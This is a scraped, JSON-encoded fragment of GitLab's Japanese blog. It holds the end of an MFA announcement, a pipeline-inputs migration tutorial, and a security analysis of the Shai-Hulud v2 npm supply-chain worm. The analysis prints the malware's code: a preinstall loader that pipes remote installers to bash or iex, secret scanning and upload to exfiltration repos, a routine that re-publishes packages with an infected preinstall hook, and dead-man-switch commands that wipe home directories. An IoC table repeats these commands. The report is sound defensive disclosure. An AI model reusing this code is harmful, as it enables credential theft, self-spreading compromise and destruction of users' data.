必要に応じてアクセスを回復できるよう、**リカバリーコードを安全に保存**してください。\n2. パスワードを使用してAPIに認証する場合：\n\n   * 個人アクセストークン（PAT）への切り替えを事前に行うことを強くおすすめします。詳細については、[ドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#error-http-basic-access-denied-if-a-password-was-provided-for-git-authentication-)をご確認ください。\n\n## よくある質問\n\n*期限までにMFAを有効にしないとどうなりますか？*\n\n* サインインする前にMFAの設定が必要になります。\n\n*CI/CDパイプラインや自動化に影響はありますか？*\n\n* はい、パスワードの代わりにPATまたはデプロイトークンを使用していない場合は影響があります。\n\n*SSOを使用していますが、直接サインインすることもあります。その場合、MFAは必要ですか？*\n\n* はい、フォールバックシナリオを含む、パスワードベースの認証にはMFAが必要です。\n\n*どのようなMFAリカバリーオプションが利用できますか？*\n\n* [トラブルシューティングドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#recovery-options-and-2fa-reset)をご確認ください。*\n\n具体的なタイムラインとその他のリソースについては、ロールアウト日までに段階的に共有される予定です。この重要な変更についてご覧いただき、ありがとうございます。",[9,23],{"featured":11,"template":12,"slug":675},"strengthening-gitlab-com-security-mandatory-multi-factor-authentication",{"content":677,"config":689},{"heroImage":678,"body":679,"authors":680,"updatedDate":683,"date":684,"title":685,"tags":686,"description":688,"category":9},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[681,682],"Michael Henriksen","Daniel Abeles","2025-12-01","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[9,687],"security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{"featured":26,"template":12,"slug":690},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":692,"config":703},{"heroImage":19,"body":693,"authors":694,"updatedDate":696,"date":697,"title":698,"tags":699,"description":702,"category":9},"[パイプライン変数](https://docs.gitlab.com/ci/variables/#use-pipeline-variables)は、GitLab\nCI/CDパイプラインを実行時にカスタマイズする便利な方法として長く活用されてきました。しかし、CI/CDセキュリティのベストプラクティスが進化するにつれ、パイプラインのカスタマイズに関してより強力な制御が必要であることが明らかになりました。制限のないパイプライン変数では、パイプライントリガー権限を持つユーザーが、検証や型のチェックなしに値を上書きできてしまいます。\n\n\n\nセキュリティ上の考慮事項に加えて、パイプライン変数には適切なドキュメントと明示的な宣言が欠けているため、どのような入力が想定され、パイプライン全体でどのように使用されるかを理解することが困難です。これにより、メンテナンスの課題が生じ、[CI/CD](https://about.gitlab.com/ja-jp/topics/ci-cd/)プロセスに対する適切なガバナンスの確立が難しくなります。\n\n\n\n## パイプライン入力の導入\n\n\n\nパイプライン変数に依存する代わりに、GitLabの[パイプライン入力](https://docs.gitlab.com/ci/inputs/#for-a-pipeline)機能の使用を強く推奨します。パイプライン入力には次の利点があります：\n\n\n\n* **明示的な宣言**: 入力は`.gitlab-ci.yml`で明示的に宣言する必要があり、自己文書化されます。\n\n\n* **型安全性**: 異なる入力型(文字列、ブール値、数値、配列)をサポートします。\n\n\n* **組み込みの検証**: 入力値の自動検証が行われます。\n\n\n* **セキュリティの向上**: 変数インジェクション攻撃のリスクがなく、宣言された入力のみが外部から渡されます。\n\n\n\n### 基本的な例\n\n\n\n```yaml\n\nspec:\n  inputs:\n    deployment_env:\n      description: \"ターゲットデプロイメント環境\"\n      type: string\n      options: [\"staging\", \"production\"]\n      default: \"staging\"\n    enable_tests:\n      description: \"テストスイートを実行\"\n      type: boolean\n      default: true\n\ntest:\n  script:\n    - echo \"テストを実行中\"\n  rules:\n    - if: $[[ inputs.enable_tests ]] == true\n\ndeploy:\n  script:\n    - echo \"$[[ inputs.deployment_env ]]へデプロイ中\"\n```\n\n\n\nCI/CD入力が検証付きで型安全なパラメータ渡しを実現する方法については、この[チュートリアル](https://about.gitlab.com/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline/)をご覧ください。\n\n\n\n## パイプライン変数の制限\n\n\n\nパイプライン入力への移行を効果的に進め、パイプライン変数からの移行を促進するには、[「パイプライン変数が使用できる最小ロール」](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables)設定を構成する必要があります。この設定により、パイプラインをトリガーする際にどのロールがパイプライン変数を使用できるかを細かく制御できます。\n\n\n\n**プロジェクトレベル:** プロジェクトの **[設定] > [CI/CD] > [変数] > [パイプライン変数が使用できる最小ロール]** の順に移動して、設定を構成します。\n\n\n\n利用可能なオプション:\n\n\n\n* **誰にも許可しない**(`no_one_allowed`) - 推奨される最も安全なオプションです。すべての変数の上書きを防ぎます。\n\n\n* **デベロッパー**(`developer`) - デベロッパー以上のロールが変数を上書きできます。\n\n\n* **メンテナー**(`maintainer`) - メンテナーロール以上が必要です。\n\n\n* **オーナー**(`owner`) - プロジェクトオーナーのみが変数を上書きできます。\n\n\n\n**グループレベル:** グループメンテナーは、**[設定] > [CI/CD] > [変数] > [パイプライン変数を使えるデフォルトロール]**の順に移動して、グループ内のすべての新規プロジェクトに適用される安全なデフォルト値を設定できます。これにより組織全体で一貫したセキュリティポリシーを確保できます。ここでも、デフォルト値として**誰にも許可しない**を使用することを推奨します。これにより、このグループ内の新規プロジェクトは安全なデフォルト設定で作成されます。なお、プロジェクトオーナーは引き続きこの設定を変更できます。\n\n\n\nパイプライン変数が完全に制限されている場合(「誰にも許可しない」の場合)、[事前入力された変数](https://docs.gitlab.com/ci/pipelines/#prefill-variables-in-manual-pipelines)は「新しいパイプラインUI」フォームに表示されません。\n\n\n\n## パイプライン変数から移行する方法\n\n\n\n### ギャップを埋める\n\n\n\n組織内には、パイプラインをトリガーする際に一度も使用したことがないにもかかわらず、パイプライン変数がデフォルトで有効になっているプロジェクトが存在する可能性があります。これらのプロジェクトは、中断のリスクなしにより安全な設定に移行できます。GitLabは、グループ設定を通じて[移行機能を提供](https://docs.gitlab.com/ci/variables/#enable-pipeline-variable-restriction-for-multiple-projects)しています：\n\n\n\n* **[設定] > [CI/CD] > [変数]** の順に移動します。\n\n\n* **パイプライン変数を使用していないプロジェクトで、パイプライン変数を無効にする**で、**マイグレーションの開始**を選択します。\n\n\n\nこの移行は、過去に使用したことがないすべてのプロジェクトのプロジェクト設定を通じて、パイプライン変数を安全に無効にするバックグラウンドジョブです。\n\n\n\n### パイプライン変数を入力に変換\n\n\n\n特定されたパイプライン変数ごとに、対応するパイプライン入力を作成します。\n\n\n\n**変更前(パイプライン変数を使用)**\n\n\n\n```text\n\nvariables:\n  DEPLOY_ENV:\n    description: \"デプロイメント環境\"\n    value: \"staging\"\n  ENABLE_CACHE:\n    description: \"デプロイメントキャッシュを有効化\"\n    value: \"true\"\n  VERSION:\n    description: \"アプリケーションバージョン\"\n    value: \"1.0.0\"\n\ndeploy:\n  script:\n    - echo \"$DEPLOY_ENVへバージョン$VERSIONをデプロイ中\"\n    - |\n      if [ \"$ENABLE_CACHE\" = \"true\" ]; then\n        echo \"キャッシュが有効です\"\n      fi\n```\n\n\n\n**変更後(パイプライン入力を使用)**\n\n\n\n```text\n\nspec:\n  inputs:\n    deploy_env:\n      description: \"デプロイメント環境\"\n      type: string\n      default: \"staging\"\n      options: [\"dev\", \"staging\", \"production\"]\n\n    enable_cache:\n      description: \"デプロイメントキャッシュを有効化\"\n      type: boolean\n      default: true\n    \n    version:\n      description: \"アプリケーションバージョン\"\n      type: string\n      default: \"1.0.0\"\n      regex: '^[0-9]+\\.[0-9]+\\.[0-9]+$'\n\ndeploy:\n  script:\n    - echo \"$[[ inputs.deploy_env ]]へバージョン$[[ inputs.version ]]をデプロイ中\"\n    - |\n      if [ \"$[[ inputs.enable_cache ]]\" = \"true\" ]; then\n        echo \"キャッシュが有効です\"\n      fi\n```\n\n\n\n### トリガージョブの移行\n\n\n\n`trigger`キーワードでトリガージョブを使用している場合は、ジョブレベルの`variables`を定義していないこと、またはトップレベルの`variables`、`extends`、`include`からの変数の継承を無効にしていないことを確認してください。変数が暗黙的にダウンストリームにパイプライン変数として渡される可能性があるためです。ダウンストリームプロジェクトでパイプライン変数が制限されている場合、パイプラインの作成は失敗します。\n\n\n\nパイプライン変数の代わりに、パイプライン入力を使用するようにCI構成を更新することを検討してください。\n\n\n\n```yaml\n\nvariables:\n  FOO: bar\n\ndeploy-staging:\n  inherit:\n    variables: false # そうしないとFOOがダウンストリームにパイプライン変数として送信されます\n  trigger:\n    project: myorg/deployer\n    inputs:\n      deployment_env: staging\n      enable_tests: true\n```\n\n\n\n## まとめ\n\n\n\nパイプライン変数からパイプライン入力への移行は、変数インジェクションからCI/CDインフラを保護するセキュリティ強化であり、同時により優れたドキュメント、型安全性、検証を提供します。これらの制限を実装し、パイプライン入力を採用することで、セキュリティを向上させるだけでなく、パイプラインをよりメンテナンスしやすく、自己文書化され、耐障害性の高いものにすることができます。\n\n\n\n移行には初期の労力が必要ですが、長期的なメリットは移行コストをはるかに上回ります。まず、新規プロジェクトのグループレベルでパイプライン変数を制限ることから始め、次に上記の段階的なアプローチを使用して既存のパイプラインを体系的に移行してください。\n\n\n\nセキュリティの強化は、終わりのない継続的なプロセスです。パイプライン入力は、保護されたブランチ、ジョブトークン許可リスト、コンテナレジストリ保護など、他のGitLabセキュリティ機能を補完し、より安全なCI/CD環境を構築するための重要なステップです。\n\n\n\n> パイプライン入力を始めるには、[GitLab Ultimateの無料トライアルに今すぐ登録](https://about.gitlab.com/ja-jp/free-trial/devsecops/)してください。\n",[695],"Fabio Pitino","2025-11-12","2025-11-04","パイプライン変数からパイプライン入力への移行でセキュリティを強化",[9,700,701,102],"DevSecOps","tutorial","このガイドでは、明示的な宣言、型安全性、検証の実装など、パイプラインのカスタマイズに関するより強力な制御について説明します。",{"featured":26,"template":12,"slug":704},"migrate-from-pipeline-variables-to-pipeline-inputs-for-better-security",{"promotions":706},[707,721,733],{"id":708,"categories":709,"header":711,"text":712,"button":713,"image":718},"ai-modernization",[710],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":714,"config":715},"Get your AI maturity score",{"href":716,"dataGaName":717,"dataGaLocation":238},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":719},{"src":720},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":722,"categories":723,"header":725,"text":712,"button":726,"image":730},"devops-modernization",[23,724],"devsecops","Are you just managing tools or shipping innovation?",{"text":727,"config":728},"Get your DevOps maturity score",{"href":729,"dataGaName":717,"dataGaLocation":238},"/assessments/devops-modernization-assessment/",{"config":731},{"src":732},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":734,"categories":735,"header":736,"text":712,"button":737,"image":741},"security-modernization",[9],"Are you trading speed for security?",{"text":738,"config":739},"Get your security maturity score",{"href":740,"dataGaName":717,"dataGaLocation":238},"/assessments/security-modernization-assessment/",{"config":742},{"src":743},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"header":745,"blurb":746,"button":747,"secondaryButton":751},"今すぐ開発をスピードアップ","DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。\n",{"text":41,"config":748},{"href":749,"dataGaName":44,"dataGaLocation":750},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":46,"config":752},{"href":48,"dataGaName":49,"dataGaLocation":750},1772652131633]